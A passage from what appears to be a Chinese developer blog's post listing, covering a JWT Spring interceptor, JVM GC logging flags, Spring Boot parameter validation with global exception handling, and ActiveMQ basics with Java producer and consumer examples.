验证token的合法性,若验证不通过,直接抛出异常 * @param token */ public static DecodedJWT verify(String token){ return JWT.require(Algorithm.HMAC256(SIGNATURE)).build().verify(token); } }4.SpringBoot项目整合使用在实际场景当中,我们需要对用户每一次的请求做验证,如果将每次验证的代码都要写一遍,这将造成大量代码的冗余,因此采用springmvc当中的拦截器InterceptorJWTInterceptorpublic class JWTInterceptor implements HandlerInterceptor { /** * 这里我们只需要实现请求之前的验证即可,因此只要实现preHandle()方法即可 * @param request * @param response * @param handler * @return * @throws Exception */ @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { //一般我们要求将token放在请求的header中,所以这里我们从request中拿token String token = request.getHeader("token"); HashMap<Object, Object> map = new HashMap<>(); try { JWTUtils.verify(token); return true;//验证通过,放行 }catch (SignatureVerificationException e){ e.printStackTrace(); map.put("msg","签名错误"); }catch (AlgorithmMismatchException e){ e.printStackTrace(); map.put("msg","加密算法不一致"); }catch (TokenExpiredException e){ e.printStackTrace(); map.put("msg","token已过期"); }catch (Exception e) { e.printStackTrace(); map.put("msg","token无效"); } map.put("state",false);//设置状态 //这里返回json格式的map,只能手动将map处理成json 使用jackson String json = new ObjectMapper().writeValueAsString(map); response.setContentType("application/json;charset=UTF-8"); response.getWriter().println(json); return false; } }然后对拦截器进行配置JWTInterceptorConfig@Configuration public class JWTInterceptorConfig implements WebMvcConfigurer { @Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new JWTInterceptor()) .addPathPatterns("/**")//拦截所有请求 .excludePathPatterns("/user/login");//放行登录请求 } }参考资料JWT的学习笔记_algorithmmismatchexception 算法不匹配是什么原因_'小竹子'的博客-CSDN博客JWT(JSON Web Token) 学习笔记(整合Spring Boot)_jwt.getclaims_songshu。的博客-CSDN博客JWT 的结构详解_jwt结构_荆茗Scaler的博客-CSDN博客
2023年09月05日
31 阅读
0 评论
0 点赞
2023-09-05
JVM GC日志输出配置
1.命令格式java <GC日志参数> -jar <your_application.jar>2. JDK8 具体的GC日志参数基本(必备)JVM配置描述-Xloggc:/path/to/gc.log写入 GC 日志的路径-XX:+UseGCLogFileRotation启用 GC 日志文件轮换-XX:NumberOfGCLogFiles=5要保留的轮换 GC 日志文件数-XX:GCLogFileSize=104857600用于启动轮换的每个 GC 日志文件的大小-XX:+PrintGCDetails详细的GC日志-XX:+PrintGCDateStamps实际日期和时间戳-XX:+PrintGCApplicationStoppedTime应用程序在 GC 期间停止的时间量-XX:+PrintGCApplicationConcurrentTime应用程序在 GC 之间运行的时间量-XX:-PrintCommandLineFlags打印 GC 日志中的所有命令行标志增强JVM配置描述-XX:+PrintAdaptiveSizePolicy有关GC工程的详细信息-XX:+PrintTenuringDistribution幸存者空间的使用和分配-XX:+PrintReferenceGC处理引用所花费的时间3.JDK17具体的GC日志参数基本(必备)-Xlog参数\JVM配置描述:file=/opt/gc-%t.log写入 GC 日志的路径,%t表示当前时间:filesize=104857600,filecount=5启用日志分割,保留分割 GC 日志文件数+单个GC日志文件的大小<br/>超过了限制将会执行循环写入,先进先出式写入gc*详细的GC日志level,tags,time,uptime,pid实际日期和时间戳 与关键信息safepoint应用程序在 GC 期间停止的时间量-XX:-PrintCommandLineFlags打印 GC 日志中的所有命令行标志java -Xlog:gc*,safepoint:file=gc-%t.log:level,tags,time,uptime,pid:filesize=104857600,filecount=5 -jar <your_application.jar> 增强-Xlog参数\JVM配置描述gc+ergo*=trace有关GC工程的详细信息gc+age=trace幸存者空间的使用和分配gc+phases*=trace处理引用所花费的时间java -Xlog:gc*,safepoint,gc+ergo*=trace,gc+age=trace,gc+phases*=trace:file=gc-%t.log:level,tags,time,uptime,pid:filesize=104857600,filecount=5 -jar <your_application.jar>参考资料Java中的GC(垃圾回收)log ,以及 JVM 介绍_gc java命令_sun0322的博客-CSDN博客Java GC算法——日志解读与分析(GC参数基础配置分析)-腾讯云开发者社区-腾讯云 (tencent.com)JVM 配置GC日志_jvm打印gc日志_Coco_淳的博客-CSDN博客一篇带你搞定⭐《生产环境JVM日志配置》⭐_不学会Ⅳ的博客-CSDN博客
2023年09月05日
112 阅读
0 评论
0 点赞
2023-09-01
SpringBoot集成参数校验@Validated学习笔记|内含SpringBoot全局异常处理
1.为什么需要参数校验在日常的接口开发中,为了防止非法参数对业务造成影响,经常需要对接口的参数做校验,例如登录的时候需要校验用户名密码是否为空,创建用户的时候需要校验邮件、手机号码格式是否准确。靠代码对接口参数一个个校验的话就太繁琐了,代码可读性极差。Validator框架就是为了解决开发人员在开发的时候少写代码,提升开发效率;Validator专门用来进行接口参数校验,例如常见的必填校验,email格式校验,用户名必须位于6到12之间 等等...Validator校验框架遵循了JSR-303验证规范(参数校验规范), JSR是Java Specification Requests的缩写。2.SpringBoot中集成参数校验2.1 添加依赖<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-validation</artifactId> </dependency>注:从springboot-2.3开始,校验包被独立成了一个starter组件,所以需要引入validation和web,而springboot-2.3之前的版本只需要引入 web 依赖就可以了。2.2 定义要参数校验的实体类在实际开发中对于需要校验的字段都需要设置对应的业务提示,即message属性。常见的约束注解如下:注解功能@AssertFalse可以为null,如果不为null的话必须为false@AssertTrue可以为null,如果不为null的话必须为true@DecimalMax设置不能超过最大值@DecimalMin设置不能超过最小值@Digits设置必须是数字且数字整数的位数和小数的位数必须在指定范围内@Future日期必须在当前日期的未来@Past日期必须在当前日期的过去@Max最大不得超过此最大值@Min最大不得小于此最小值@NotNull不能为null,可以是空@Null必须为null@Pattern必须满足指定的正则表达式@Size集合、数组、map等的size()值必须在指定范围内@Email必须是email格式@Length长度必须在指定范围内@NotBlank字符串不能为null,字符串trim()后也不能等于“”@NotEmpty不能为null,集合、数组、map等size()不能为0;字符串trim()后可以等于“”@Range值必须在指定范围内@URL必须是一个URL@Data public class ValidVO { private String id; @Length(min = 6,max = 12,message = "appId长度必须位于6到12之间") private String appId; @NotBlank(message = "名字为必填项") private String name; @Email(message = "请填写正确的邮箱地址") private String email; private String sex; @NotEmpty(message = "级别不能为空") private String level; }2.3 定义Controller类进行测试$\color{red}{注意,当使用单参数校验时需要在Controller上加上@Validated注解,否则不生效。}$@RestController @Slf4j @Validated public class ValidController { /** * RequestBody校验,使用了@RequestBody注解,用于接受前端发送的json数据 * @param validVO * @return */ @PostMapping("/valid/test1") public String test1(@Validated @RequestBody ValidVO validVO){ log.info("validEntity is {}", validVO); return "test1 valid success"; } /** * Form校验,模拟表单提交 * @param validVO * @return */ @PostMapping(value = "/valid/test2") public String test2(@Validated ValidVO validVO){ log.info("validEntity is {}", validVO); return "test2 valid success"; } /** * 单参数校验,模拟单参数提交,注意,当使用单参数校验时需要在Controller上加上@Validated注解,否则不生效。 * @param email * @return */ @PostMapping(value = "/valid/test3") public String test3(@Email String email){ log.info("email is {}", email); return "email valid success"; } }2.4 调用测试2.4.1 test1请求参数POST http://localhost:8080/valid/test1 Content-Type: application/json { "id": 1, "appId": "add3", "email": "3131243242", "level": "12" }返回结果{ "timestamp": "2023-09-01T02:10:41.310+00:00", "status": 400, "error": "Bad Request", "path": "/valid/test1" }控制台输出2023-09-01T10:10:41.310+08:00 WARN 9016 --- [io-8080-exec-10] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MethodArgumentNotValidException: Validation failed for argument [0] in public java.lang.String com.example.validatedstudy.domain.controller.ValidController.test1(com.example.validatedstudy.domain.vo.ValidVO) with 3 errors: [Field error in object 'validVO' on field 'name': rejected value [null]; codes [NotBlank.validVO.name,NotBlank.name,NotBlank.java.lang.String,NotBlank]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [validVO.name,name]; arguments []; default message [name]]; default message [名字为必填项]] [Field error in object 'validVO' on field 'email': rejected value [3131243242]; codes [Email.validVO.email,Email.email,Email.java.lang.String,Email]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [validVO.email,email]; arguments []; default message [email],[Ljakarta.validation.constraints.Pattern$Flag;@4115d833,.*]; default message [请填写正确的邮箱地址]] [Field error in object 'validVO' on field 'appId': rejected value [add3]; codes [Length.validVO.appId,Length.appId,Length.java.lang.String,Length]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [validVO.appId,appId]; arguments []; default message [appId],12,6]; default message [appId长度必须位于6到12之间]] ]2.4.2 test2请求参数POST http://localhost:8080/valid/test2 Content-Type: application/x-www-form-urlencoded id=1&level=12&email=21434242341&appId=dsad返回结果{ "timestamp": "2023-09-01T02:13:52.296+00:00", "status": 400, "error": "Bad Request", "path": "/valid/test2" }控制台输出2023-09-01T10:14:16.059+08:00 WARN 9016 --- [nio-8080-exec-2] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MethodArgumentNotValidException: Validation failed for argument [0] in public java.lang.String com.example.validatedstudy.domain.controller.ValidController.test2(com.example.validatedstudy.domain.vo.ValidVO) with 3 errors: [Field error in object 'validVO' on field 'email': rejected value [21434242341]; codes [Email.validVO.email,Email.email,Email.java.lang.String,Email]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [validVO.email,email]; arguments []; default message [email],[Ljakarta.validation.constraints.Pattern$Flag;@4115d833,.*]; default message [请填写正确的邮箱地址]] [Field error in object 'validVO' on field 'name': rejected value [null]; codes [NotBlank.validVO.name,NotBlank.name,NotBlank.java.lang.String,NotBlank]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [validVO.name,name]; arguments []; default message [name]]; default message [名字为必填项]] [Field error in object 'validVO' on field 'appId': rejected value [dsad]; codes [Length.validVO.appId,Length.appId,Length.java.lang.String,Length]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [validVO.appId,appId]; arguments []; default message [appId],12,6]; default message [appId长度必须位于6到12之间]] ]2.4.3 test3请求参数POST http://localhost:8080/valid/test3 Content-Type: application/x-www-form-urlencoded email=476938977返回结果{ "timestamp": "2023-09-01T01:46:03.227+00:00", "status": 500, "error": "Internal Server Error", "path": "/valid/test3" }控制台输出akarta.validation.ConstraintViolationException: test3.email: 不是一个合法的电子邮件地址 at org.springframework.validation.beanvalidation.MethodValidationInterceptor.invoke(MethodValidationInterceptor.java:138) ~[spring-context-6.0.10.jar:6.0.10] at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:184) ~[spring-aop-6.0.10.jar:6.0.10] at org. ······2.5 增加全局异常处理(★★★)2.5.1 代码实现vopackage com.example.validatedstudy.domain.vo; import lombok.AllArgsConstructor; import lombok.Data; import lombok.NoArgsConstructor; @Data @AllArgsConstructor @NoArgsConstructor public class ResultDataVO<T> { // 状态码 private int code; // 错误消息 private String errorMsg; // 消息体数据 private T data; /** * 返回默认的调用成功的响应 */ public static <T> ResultDataVO<T> success(){ ResultDataVO<T> resultDataVO = new ResultDataVO<>(); resultDataVO.setCode(200); return resultDataVO; } /** * 调用成功返回T类型的对象数据响应 * @param data */ public static <T> ResultDataVO<T> success(T data){ return new ResultDataVO<T>(200,"",data); } /** * 返回默认的调用失败的响应 */ public static <T> ResultDataVO<T> error( ){ return error(400, "操作失败"); } /** * 返回带msg的调用失败的响应 */ public static <T> ResultDataVO<T> error( String msg){ return error(400, msg); } /** * 返回指定code带msg的调用失败的响应 */ public static <T> ResultDataVO<T> error(int code,String msg){ return new ResultDataVO<>(code,msg,null); } }exception/** * 全局异常处理类 */ @RestControllerAdvice @Slf4j public class GlobalExceptionHandler{ /** * 处理所有不可知的异常 * @param e * @return */ @ExceptionHandler(RuntimeException.class) @ResponseBody public ResultDataVO handle(Exception e) { log.error("系统未知异常>>>:" + e.getMessage(), e); return ResultDataVO.error(e.getMessage()); } /** * 处理参数对象javax注解异常 */ @ResponseBody @ExceptionHandler(MethodArgumentNotValidException.class) public ResultDataVO<Object> exceptionHandler(MethodArgumentNotValidException e) { log.error("参数错误>>>:" + e.getMessage(), e); return ResultDataVO.error( e.getBindingResult().getFieldError().getDefaultMessage()); } /** * 处理controller的@Validated注解异常 */ @ResponseBody @ExceptionHandler(ConstraintViolationException.class) public ResultDataVO<Object> exceptionHandler(ConstraintViolationException e) { log.error("参数错误>>>:" + e.getMessage(), e); Set<ConstraintViolation<?>> violations = e.getConstraintViolations(); String message = violations.stream() .map(ConstraintViolation::getMessage) .collect(Collectors.joining(";")); return ResultDataVO.error("参数错误:" + message); } }2.5.2 调用测试test1请求参数POST http://localhost:8080/valid/test1 Content-Type: application/json { "id": 1, "appId": "add3", "email": "3131243242", "level": "12" }返回结果{ "code": 400, "errorMsg": "请填写正确的邮箱地址", "data": null }test2请求参数POST http://localhost:8080/valid/test2 Content-Type: application/x-www-form-urlencoded id=1&level=12&email=21434242341&appId=dsad返回结果{ "code": 400, "errorMsg": "请填写正确的邮箱地址", "data": null }test3请求参数POST http://localhost:8080/valid/test3 Content-Type: application/x-www-form-urlencoded email=476938977返回结果{ "code": 400, "errorMsg": "参数错误:不是一个合法的电子邮件地址", "data": null }3.分组校验一个VO对象在新增的时候某些字段为必填,在更新的时候又非必填。如上面的ValidVO中 id 和 appId 属性在新增操作时都是非必填,而在编辑操作时都为必填,name在新增操作时为必填,面对这种场景你会怎么处理呢?在实际开发中我见到很多同学都是建立两个VO对象,ValidCreateVO,ValidEditVO来处理这种场景,这样确实也能实现效果,但是会造成类膨胀,而且极其容易被开发老鸟们嘲笑。其实Validator校验框架已经考虑到了这种场景并且提供了解决方案,就是分组校验。要使用分组校验,只需要三个步骤:3.1 定义分组接口定义一个分组接口ValidGroup让其继承javax.validation.groups.Default,再在分组接口中定义出多个不同的操作类型,Create,Update,Query,Delete。public interface ValidGroup extends Default { interface Crud extends ValidGroup{ interface Create extends Crud{ } interface Update extends Crud{ } interface Query extends Crud{ } interface Delete extends Crud{ } } }3.2 在模型中给参数分配分组@Data public class ValidVO { @Null(groups = ValidGroup.Crud.Create.class) @NotNull(groups = ValidGroup.Crud.Update.class, message = "id不能为空") private String id; @NotBlank(groups = ValidGroup.Crud.Create.class,message = "名字为必填项") private String name; @Email(message = "请填写正确的邮箱地址") private String email; private String sex; }3.3 给需要参数校验的方法指定分组@RestController @Slf4j @Validated public class ValidController { /** * 参数分组校验-add * @param validVO * @return */ @PostMapping(value = "/valid/add") public String add(@Validated(value = ValidGroup.Crud.Create.class) ValidVO validVO){ log.info("validEntity is {}", validVO); return "test4 valid success"; } /** * 参数分组校验-update * @param validVO * @return */ @PostMapping(value = "/valid/update") public String update(@Validated(value = ValidGroup.Crud.Update.class) ValidVO validVO){ log.info("validEntity is {}", validVO); return "test5 valid success"; } }3.4 调用测试add在Create时我们没有传递appId参数,校验通过。POST http://localhost:8080/valid/add Content-Type: application/x-www-form-urlencoded name=javadaily&email=522246447@qq.com&sex=Mtest4 valid successupdate当我们使用同样的参数调用update方法时则提示参数校验错误。POST http://localhost:8080/valid/add Content-Type: application/x-www-form-urlencoded name=javadaily&email=522246447@qq.com&sex=M{ "code": 400, "errorMsg": "id不能为空", "data": null }注意事项:eg-email校验由于email属于默认分组,而分组接口ValidGroup已经继承了Default分组,所以也是可以对email字段作参数校验的。如:POST http://localhost:8080/valid/add Content-Type: application/x-www-form-urlencoded name=javadaily&email=522246447&sex=M{ "code": 400, "errorMsg": "请填写正确的邮箱地址", "data": null }但是如果ValidGroup没有继承Default分组,那在代码属性上就需要加上@Validated(value = {ValidGroup.Crud.Create.class, Default.class}才能让email字段的校验生效。4.自定义参数校验虽然Spring Validation 提供的注解基本上够用,但是面对复杂的定义,还是需要自己定义相关注解来实现自动校验。比如IP地址校验如何实现呢?4.1 自定义的注解(@interface)主要需要初始化三个参数和指定执行验证的类message定制化的提示信息,主要是从ValidationMessages.properties里提取,也可以依据实际情况进行定制groups这里主要进行将validator进行分类,不同的类group中会执行不同的validator操作payload主要是针对bean的,使用不多。@Target({ElementType.FIELD}) @Retention(RUNTIME) @Documented @Constraint(validatedBy = IPAddressValidator.class) // 指定验证实现类 public @interface IPAddress { String message() default "{ipaddress is invalid}"; Class<?>[] groups() default {}; Class<? extends Payload>[] payload() default {}; }4.2 自定义Validator,这个是真正进行验证的逻辑代码主要是需要实现ConstraintValidator这个接口,以及其中的两个泛型参数,第一个为注解名称,第二个为实际字段的数据类型。package com.example.validatedstudy.validation; import jakarta.validation.ConstraintValidator; import jakarta.validation.ConstraintValidatorContext; import java.util.regex.Pattern; public class IPAddressValidator implements ConstraintValidator<IPAddress, String> { @Override public boolean isValid(String value, ConstraintValidatorContext context) { if ((value != null) && (!value.isEmpty())) { return Pattern.matches("^([1-9]|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])(\\.(\\d|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])){3}$", value); } return false; } }4.3 验证测试vo@Data public class IPAddressVO { @IPAddress private String ip; }controller@RestController @Slf4j @Validated public class ValidController { /** * 自定义参数校验 - ip校验 * @param ipAddressVO * @return */ @PostMapping(value = "/valid/ip") public String update(@Validated IPAddressVO ipAddressVO){ log.info("validEntity is {}", ipAddressVO); return "test ip Validated success"; } } 调用测试-失败POST http://localhost:8080/valid/ip Content-Type: application/x-www-form-urlencoded ip=2.45.6{ "code": 400, "errorMsg": "{ipaddress is invalid}", "data": null }调用测试-成功POST http://localhost:8080/valid/ip Content-Type: application/x-www-form-urlencoded ip=127.0.0.1test ip Validated success参考资料SpringBoot 如何进行参数校验,老鸟们都这么玩的!-阿里云开发者社区 (aliyun.com)SpringBoot 的请求参数校验注解_springboot 校验长度注解_千筠Wyman的博客-CSDN博客BindException、ConstraintViolationException、MethodArgumentNotValidException入参验证异常分析和全局异常处理解决方法_wzq_55552的博客-CSDN博客Spring的全局(统一)异常处理_spring全局异常处理_第1缕阳光的博客-CSDN博客Spring Boot之Validation自定义实现总结(亲测,好用)_spring boot validation 自定义_HD243608836的博客-CSDN博客
2023年09月01日
214 阅读
0 评论
0 点赞
2023-08-25
ActiveMQ消息中间件学习笔记
1.消息中间件简介及作用两个系统或两个客户端之间进行消息传送,利用高效可靠的消息传递机制进行平台无关的数据交流,并基于数据通信来进行分布式系统的集成。通过提供消息传递和消息排队模型,它可以在分布式环境下扩展进程间的通信。消息中间件,总结起来作用有三个:异步化提升性能、降低耦合度、流量削峰。2 消息中间件的应用场景2.1 异步通信有些业务不想也不需要立即处理消息。消息队列提供了异步处理机制,允许用户把一个消息放入队列,但并不立即处理它。想向队列中放入多少消息就放多少,然后在需要的时候再去处理它们。2.2 缓冲在任何重要的系统中,都会有需要不同的处理时间的元素。消息队列通过一个缓冲层来帮助任务最高效率的执行,该缓冲有助于控制和优化数据流经过系统的速度。以调节系统响应时间。2.3 解耦降低工程间的强依赖程度,针对异构系统进行适配。在项目启动之初来预测将来项目会碰到什么需求,是极其困难的。通过消息系统在处理过程中间插入了一个隐含的、基于数据的接口层,两边的处理过程都要实现这一接口,当应用发生变化时,可以独立的扩展或修改两边的处理过程,只要确保它们遵守同样的接口约束。2.4 冗余有些情况下,处理数据的过程会失败。除非数据被持久化,否则将造成丢失。消息队列把数据进行持久化直到它们已经被完全处理,通过这一方式规避了数据丢失风险。许多消息队列所采用的”插入-获取-删除”范式中,在把一个消息从队列中删除之前,需要你的处理系统明确的指出该消息已经被处理完毕,从而确保你的数据被安全的保存直到你使用完毕。2.5 扩展性因为消息队列解耦了你的处理过程,所以增大消息入队和处理的频率是很容易的,只要另外增加处理过程即可。不需要改变代码、不需要调节参数。便于分布式扩容。2.6 可恢复性系统的一部分组件失效时,不会影响到整个系统。消息队列降低了进程间的耦合度,所以即使一个处理消息的进程挂掉,加入队列中的消息仍然可以在系统恢复后被处理。2.7 顺序保证在大多使用场景下,数据处理的顺序都很重要。大部分消息队列本来就是排序的,并且能保证数据会按照特定的顺序来处理。2.8 过载保护在访问量剧增的情况下,应用仍然需要继续发挥作用,但是这样的突发流量无法提取预知;如果以为了能处理这类瞬间峰值访问为标准来投入资源随时待命无疑是巨大的浪费。使用消息队列能够使关键组件顶住突发的访问压力,而不会因为突发的超负荷的请求而完全崩溃。2.9 数据流处理分布式系统产生的海量数据流,如:业务日志、监控数据、用户行为等,针对这些数据流进行实时或批量采集汇总,然后进行大数据分析是当前互联网的必备技术,通过消息队列完成此类数据收集是最好的选择。3.常用消息队列特性ActiveMQRabbitMQRocketMQKafka生产者消费者模式支持支持支持支持发布订阅模式支持支持支持支持请求回应模式支持支持不支持不支持Api完备性高高高高多语言支持支持支持java支持单机吞吐量万级万级万级十万级消息延迟无微秒级毫秒级毫秒级可用性高(主从)高(主从)非常高(分布式)非常高(分布式)消息丢失低低理论上不会丢失理论上不会丢失文档的完备性高高高高提供快速入门有有有有社区活跃度高高有高商业支持无无商业云商业云4.消息中间件的角色Queue: 队列存储,常用与点对点消息模型 ,默认只能由唯一的一个消费者处理。一旦处理消息删除。Topic: 主题存储,用于订阅/发布消息模型,主题中的消息,会发送给所有的消费者同时处理。只有在消息可以重复处 理的业务场景中可使用,Queue/Topic都是 Destination 的子接口ConnectionFactory: 连接工厂,客户用来创建连接的对象,例如ActiveMQ提供的ActiveMQConnectionFactoryConnection: JMS Connection封装了客户与JMS提供者之间的一个虚拟的连接。Destination: 消息的目的地,目的地是客户用来指定它生产的消息的目标和它消费的消息的来源的对象。JMS1.0.2规范中定义了两种消息传递域:点对点(PTP)消息传递域和发布/订阅消息传递域。点对点消息传递域的特点如下:每个消息只能有一个消费者。消息的生产者和消费者之间没有时间上的相关性。无论消费者在生产者发送消息的时候是否处于运行状态,它都可以提取消息。发布/订阅消息传递域的特点如下:每个消息可以有多个消费者。生产者和消费者之间有时间上的相关性。订阅一个主题的消费者只能消费自它订阅之后发布的消息。JMS规范允许客户创建持久订阅,这在一定程度上放松了时间上的相关性要求 。持久订阅允许消费者消费它在未处于激活状态时发送的消息。在点对点消息传递域中,目的地被成为队列(queue);在发布/订阅消息传递域中,目的地被成为主题(topic)。5.JMS的消息格式JMS消息由以下三部分组成的:消息头:每个消息头字段都有相应的getter和setter方法。消息属性:如果需要除消息头字段以外的值,那么可以使用消息属性。消息体:JMS定义的消息类型有TextMessage、MapMessage、BytesMessage、StreamMessage和ObjectMessage。消息类型:属性类型TextMessage文本消息MapMessagek/vBytesMessage字节流StreamMessagejava原始的数据流ObjectMessage序列化的java对象6.消息可靠性机制只有在被确认之后,才认为已经被成功地消费了,消息的成功消费通常包含三个阶段 :客户接收消息、客户处理消息和消息被确认。在事务性会话中,当一个事务被提交的时候,确认自动发生。在非事务性会话中,消息何时被确认取决于创建会话时的应答模式(acknowledgement mode)。该参数有以下三个可选值:Session.AUTO_ACKNOWLEDGE:当客户成功的从receive方法返回的时候,或者从MessageListener.onMessage方法成功返回的时候,会话自动确认客户收到的消息。Session.CLIENT_ACKNOWLEDGE:客户通过消息的acknowledge方法确认消息。需要注意的是,在这种模式中,确认是在会话层上进行:确认一个被消费的消息将自动确认所有已被会话消费的消息。例如,如果一个消息消费者消费了10个消息,然后确认第5个消息,那么所有10个消息都被确认。Session.DUPS_ACKNOWLEDGE:该选择只是会话迟钝的确认消息的提交。如果JMS Provider失败,那么可能会导致一些重复的消息。如果是重复的消息,那么JMS Provider必须把消息头的JMSRedelivered字段设置为true。6.1 优先级可以使用消息优先级来指示JMS Provider首先提交紧急的消息。优先级分10个级别,从0(最低)到9(最高)。如果不指定优先级,默认级别是4。需要注意的是,JMS Provider并不一定保证按照优先级的顺序提交消息。6.2 消息过期可以设置消息在一定时间后过期,默认是永不过期。6.3 临时目的地可以通过会话上的createTemporaryQueue方法和createTemporaryTopic方法来创建临时目的地。它们的存在时间只限于创建它们的连接所保持的时间。只有创建该临时目的地的连接上的消息消费者才能够从临时目的地中提取消息。7.ActiveMQ7.1 简介ActiveMQ是一种开源的基于JMS(Java Message Servie)规范的一种消息中间件的实现,ActiveMQ的设计目标是提供标准的,面向消息的,能够跨越多语言和多系统的应用集成消息通信中间件。官网地址:http://activemq.apache.org/ActiveMQ主要特点:支持多语言、多协议客户端。语言: Java,C,C++,C#,Ruby,Perl,Python,PHP。应用协议: OpenWire, Stomp REST, WS Notification, XMPP, AMQP对Spring的支持,ActiveMQ可以很容易整合到Spring的系统里面去。支持高可用、高性能的集群模式。7.2 存储方式1. KahaDB存储: KahaDB是默认的持久化策略,所有消息顺序添加到一个日志文件中,同时另外有一个索引文件记录指向这些日志的存储地址,还有一个事务日志用于消息回复操作。是一个专门针对消息持久化的解决方案,它对典型的消息使用模式进行了优化特性:1、日志形式存储消息;2、消息索引以 B-Tree 结构存储,可以快速更新;3、 完全支持 JMS 事务;4、支持多种恢复机制kahadb 可以限制每个数据文件的大小。不代表总计数据容量。2. AMQ 方式: 只适用于 5.3 版本之前。 AMQ 也是一个文件型数据库,消息信息最终是存储在文件中。内存中也会有缓存数据。3. JDBC存储 : 使用JDBC持久化方式,数据库默认会创建3个表,每个表的作用如下:activemq_msgs:queue和topic的消息都存在这个表中activemq_acks:存储持久订阅的信息和最后一个持久订阅接收的消息IDactivemq_lock:跟kahadb的lock文件类似,确保数据库在某一时刻只有一个broker在访问4. LevelDB存储 : LevelDB持久化性能高于KahaDB,但是在ActiveMQ官网对LevelDB的表述:LevelDB官方建议使用以及不再支持,推荐使用的是KahaDB5.Memory 消息存储: 顾名思义,基于内存的消息存储,就是消息存储在内存中。persistent=”false”,表示不设置持 久化存储,直接存储到内存中,在broker标签处设置。8.ActiveMQ安装下载地址:http://activemq.apache.org/components/classic/download/下载完成后直接解压执行即可。activemq.bat 查看web控制台:http://127.0.0.1:8161/9.使用原生java进行交互9.1 项目依赖ActiveMQ 的解压包中,提供了运行 ActiveMQ 需要的 jar 包。ActiveMQ 是实现了 JMS 规范的。在实现消息服务的时候,必须基于 API 接口规范。maven依赖:<!-- https://mvnrepository.com/artifact/org.apache.activemq/activemq-all --> <dependency> <groupId>org.apache.activemq</groupId> <artifactId>activemq-all</artifactId> <version>5.18.2</version> </dependency>9.2 JMS 常用的 API 说明下述 API 都是接口类型,定义在 javax.jms 包中,是 JMS 标准接口定义。ActiveMQ 完全实现这一套 api 标准。接口作用ConnectionFactory链接工厂, 用于创建链接的工厂类型.Connection链接. 用于建立访问 ActiveMQ 连接的类型, 由链接工厂创建.Session会话, 一次持久有效有状态的访问. 由链接创建.Destination & Queue目的地, 用于描述本次访问 ActiveMQ 的消息访问目的地. 即 ActiveMQ 服务中的具体队 列. 由会话创建. interface Queue extends DestinationMessageProducer消息生成者, 在一次有效会话中, 用于发送消息给 ActiveMQ 服务的工具. 由会话创建MessageConsumer消息消费者【消息订阅者,消息处理者】, 在一次有效会话中, 用于从 ActiveMQ 服务中 获取消息的工具. 由会话创建Message消息, 通过消息生成者向 ActiveMQ 服务发送消息时使用的数据载体对象或消息消费者 从 ActiveMQ 服务中获取消息时使用的数据载体对象. 是所有消息【文本消息,对象消息等】 具体类型的顶级接口. 可以通过会话创建或通过会话从 ActiveMQ 服务中获取. . .9.3 创建消息生成者,发送消息public class JmsProducer { public static void main(String[] args) throws JMSException { /* * 创建连接工厂,由 ActiveMQ 实现。构造方法参数 * userName 用户名 * password 密码 * brokerURL 访问 ActiveMQ 服务的路径地址,结构为: 协议名://主机地址:端口号 */ ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://127.0.0.1:61616"); //创建连接对象 Connection connection = connectionFactory.createConnection(); //启动连接 connection.start(); /* * 创建会话,参数含义: * 1.transacted - 是否使用事务 * 2.acknowledgeMode - 消息确认机制,可选机制为: * 1)Session.AUTO_ACKNOWLEDGE - 自动确认消息 * 2)Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制 * 3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制 */ Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE); //创建目的地,也就是队列名 Destination destination = session.createQueue("mq_test"); //创建消息生成者,该生成者与目的地绑定 MessageProducer messageProducer = session.createProducer(destination); //创建消息 Message message = session.createTextMessage("Hello, ActiveMQ"); //发送消息 messageProducer.send(message); } }运行后查看web控制台管理界面可以看到生成了对应的消息队列和消息。9.4 创建消息消费者,接收消息public class JmsConsumer { public static void main(String[] args) throws JMSException { /* * 创建连接工厂,由 ActiveMQ 实现。构造方法参数 * userName 用户名 * password 密码 * brokerURL 访问 ActiveMQ 服务的路径地址,结构为: 协议名://主机地址:端口号 */ ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://127.0.0.1:61616"); //创建连接对象 Connection connection = connectionFactory.createConnection(); //启动连接 connection.start(); /* * 创建会话,参数含义: * 1.transacted - 是否使用事务 * 2.acknowledgeMode - 消息确认机制,可选机制为: * 1)Session.AUTO_ACKNOWLEDGE - 自动确认消息 * 2)Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制 * 3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制 */ Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE); //创建目的地,也就是队列名 Destination destination = session.createQueue("mq_test"); //创建消息生成者,该生成者与目的地绑定 MessageConsumer messageConsumer = session.createConsumer(destination); //创建消息 Message message = session.createTextMessage("Hello, ActiveMQ"); //读取消息 while(true){ TextMessage textMessage = (TextMessage)messageConsumer.receive(10000); if(textMessage != null){ System.out.println("Accept msg : "+textMessage.getText()); }else{ break; } } } }Accept msg : Hello, ActiveMQ运行后查看web控制台管理界面可以看到对应的消息已经被消费了。10.springboot3整合ActiveMQ10.1 项目依赖创建标准的Spring Boot项目,并在项目中引入以下依赖:<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-activemq</artifactId> <version>3.1.3</version> 